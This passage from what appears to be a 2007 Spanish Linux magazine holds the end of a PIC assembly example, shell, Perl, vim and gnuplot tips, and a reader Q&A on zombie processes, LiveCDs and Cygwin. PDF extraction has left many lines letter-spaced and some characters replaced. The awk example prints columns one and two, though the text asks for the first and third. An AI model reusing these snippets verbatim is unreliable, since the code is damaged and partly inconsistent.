C L R F U N A _ V A R I A B L E ; n o v a l e p a r a n a d a , e s p a r a v e r como s e b o r r a u n a p o s i c i ó n d e R A M

I N I M O V L W B ' 0 0 0 0 1 0 0 1 ' ; G P I O 3 = I N G P I O 2 = O U T G P I O 1 = O U T G P I O 0 = I N ;

; 1 s p a E N T R A D A s y 0 s p a S A L I D A s

T R I S G P I O ; l o mismo q u e M O V W F TRISIO ; G P 3 e s s ó l o E N T R A D A

M O V L W B ' 0 0 0 0 1 1 1 1 ' ; h a b i l i t a m o s P u l l � U p i n t e r n o p a r a G P I O , e n t r e o t r a s c o s a s

O P T I O N ; e s t a i n s t r u c c i ó n t r a n s f i e r e W a O P T I O N ,

; q u e e s u n r e g i s t r o " f a n t a s m a "

B S F O S C C A L , F O S C 4 ; O s c i l a d o r i n t e r n o d e 4 M H z / 4 = 1 M H z O U T P U T , s e s a c a p o r e l G P 2

B U K L E B T F S S P U L S A D O R

B C F L E D

B T F S C P U L S A D O R

B S F L E D

G O T O B U K L E

E N D ; i n d i c a a l e n s a m b l a d o r e l f i n a l d e l c ó d i g o f u e n t e

Có digo ASM de nuestr o ejemplo
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TRUCOS

Con un pa r... de líneas

Chuletillas pa ra hacer cosas mú rápido

p o r T ama riz el de la P erdíz

PROCESANDO TEXTO CON PERL EN

UNA LÍNEA

Aunque el comando grep funciona p erfectamen te, pue-

de ser útil sim ularlo utilizando una línea de có digo

P erl.

p e r l � e ' w h i l e ( < > ) { p r i n t i f / h o l a / ; } ' m i _ f i c h e r o

O de forma más brev e utilizando el �ag -n que sim-

plemen te comparando estos dos ejemplos sabréis qué

hace.

p e r l � n e ' p r i n t i f / h o l a / ; ' m i _ f i c h e r o

V amos con un ejemplo un p o co más útil. Sup ongamos

que tenemos un �c hero con datos ordenados en colum-

nas y queremos quedarnos solamen te con la primera

(el v alor de ordenadas) y la tercera, digamos que pa-

ra hacer una represen tación grá�ca solamen te de esos

datos. El siguien te script:

p e r l � e ' w h i l e ( < > ) { @ v = s p l i t ;

> p r i n t " $ v [ 0 ] \ t $ v [ 2 ] \ n " } ' m i _ f i c h e r o

Aunque lo p o dríamos hab er hec ho con awk con una

línea como

cat mi_fichero | awk -e '{print \$1,\$2}'

CREAR IMA GEN CD Y A CCEDER A EL

El siguien te truco nos p ermite generar una imagen

exacta de un CD y acceder a ella. Las siguien tes lí-

neas hacen el traba jo p oniendo el con tenido el CD en

el directorio /mn t/temp.

# d d i f = / d e v / c d r o m o f = m i _ i m a g e n . i s o

# m o u n t � o l o o p m i _ i m a g e n . i s o / mnt / tmp

# . . .

# u m o u n t / mnt / tmp

Recuerda que deb es ser ro ot para ejecutar los coman-

dos del ejemplo 3 y no olvides desmon tar el disp ositiv o

cuando ha y as terminado con él.

MANEJAR CARA CTERES DE CON-

TROL EN VIM

En o casiones es necesario manejar caracteres de con-

trol den tro de �c heros de texto, p or ejemplo, para in-

sertar o sustituir tabuladores. La forma de in tro ducir

caracteres como el tabulador en el mo do comando del

vim es pulsar la com binación de teclas CONTROL + V y

luego pulsar la tecla del carácter que se desea utilizar

(return, bs, T AB,...).

GENERAR GRÁFICOS A P ARTIR DE FI-

CHEROS DE TEXTO

A partir de un �c hero de texto que con tenga una co-

lumna de datos, p o demos obtener rápidamen te una

represen tación grá�ca de los mismos utilizando la he-

rramien ta gnuplot utilizando los siguien tes coman-

dos:

# w c � l t e x t . d a t

2 5

# g n u p l o t

g n u p l o t > p l o t [ t = 1 : 2 5 ] " t e s t . t x t " u s i n g ( $ 2 )

Si n uestro �c hero tuviera dos columnas en las que la

primera represen ta los v alores de abscisas, la siguien te

secuencia de instrucciones gn uplot mostraría la grá�-

ca. A demás, en este caso, los distin tos pun tos se unirán

utilizando líneas rectas (parámetro with lines ).

# w c � l t e x t . d a t

2 5

# g n u p l o t

g n u p l o t > p l o t " t e s t . t x t " u s i n g ( $ 1 ) : ( $ 2 ) w i t h l i n e s

Envía tus trucos

Puedes envia rnos esos trucos que usas a dia rio pa ra

compa rtirlos con el resto de lecto res a la dirección:

occams-razor@uv ig o.e s
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CONSUL TORIO

Pregúntale a OCCAM

T o do lo que nunca quiso sab er y sí se atrevió a p regunta r

p o r The Occam's Razo r T eam

El mítico Número Zero

Sigo vuestr a public ación desde el prin-

cipio y estoy enc antada c on los c onte-

nidos que incluís en c ada entr e ga. Sin

emb ar go, no c onsigo enc ontr ar el le-

gendario númer o Zer o de Oc c am's R a-

zor. He oído hablar de él en varios fo-

r os un tanto ominosos, y me enc anta-

ría c onse guirlo p ar a c ompletar mi c o-

le c ción de Oc c am's R azor.

Una T aur o

T alaver a

�

Querida T auro de T ala v era, no me

seas cala v era. El camino hacia el Ze-

ro es tortuoso y lleno de p en urias, no

apto para cualquiera. Profundiza en

tu in terior, y cuando llegues a lo más

hondo de tu esencia, en tonces, y solo

en tonces, encon traras el camino hacia

el Zero.

P ero no te en tretengas en tu búsque-

da. Recuerda que tras el Zero, esta el

menos uno, el menos dos, . . .

Esas criaturas

A ntes de nada me gustaría felicitar os

p or vuestr a r evista, me está r esultando

muy útil en mi tr ab ajo y esp er o im-

p aciente c ada nuevo númer o. Bueno,

me gustaría sab er si hay alguna for-

ma p ar a evitar que se me l lene to do

de zombies ... salen p or to das p artes...

es una p esadil la... Dios mio!!!!.

V anHelsing

T alansilvania

�

Estimado V an, para terminar con tu

p esadilla de los no-m uertos, puedes

utilizar cualquiera de las dos técnicas

que describimos a con tin uación:

1. Ignora las señales SIGCHLD

utilizando el comando signal

(SIGCHLD, SIG_IGN);

2. Incorp ora un manejador de la

señal SIGCHLD a tu programa

para en terarte de la m uerte de

cada uno de tus hijos, y así p o-

der esp erar a que la palmen del

to do con un wait

Emp ezando con Linux

Querida r azor, quier o intr o ducirme en

el mundo linux, p er o sigo ne c esitando

usar mi Windows actual, pue do tener

las dos c osas en mi Pc??

Jenny

Windowsland

�

Estimada Jenn y . Claro que puedes te-

ner los dos sistemas en tu PC. P ara

ello tienes v arias op ciones. Quizás la

mejor para probar si te gusta es utili-

zar lo que se llama una v ersión Liv e-

CD con la que p o drás utilizar lin ux sin

tener que realizar ninguna instalación.

Ubun tu o Knoppix son dos buenas op-

ciones.

Una segunda op ción es utilizar un

em ulador de PC como VMw are Pla-

y er o qem u. La distribución DSL de

la que hablamos en este n úmero de

la revista trae qem u in tegrado, con lo

que p o drás ejecutar lin ux en una v en-

tana den tro de tu sistema Windo ws.

Sigue las instrucciones que trae la pro-

pia distribución.

Linux sin Linux

Una p ar a Oc c am. Me gustaría sab er si

pue do utilizar UNIX y to das estas c o-

sas tan chulas de las que hablais en la

r evista sin tener que instalar uno.

Lina Por gan

L ap atalo c a

�

Hola Lina P organ. Claro que puedes.

Lo más sencillo es que instales Cyg-

win. Cygwin es un en torno estilo li-

n ux para windo ws que con tiene la ma-

y oría de las herramien tas disp onibles

en un sistema lin ux. La instalación es

m uy sencilla, solo sigue las instruccio-

nes que te dan en:

http://www.cygwin.com/

TIENES ALGUNA

DUD A?

En viadnos vuestras pregun tas tec-

nológicas e in ten taremos hacer lo

que p o damos, para aclarar cual-

quier duda.

P o déis en viarlas a:

occams-razor@uvigo.es

EVENTOS DE INTERÉS

Jerez de la F rontera. 7, 8 y 9 de Ma rzo de 2007
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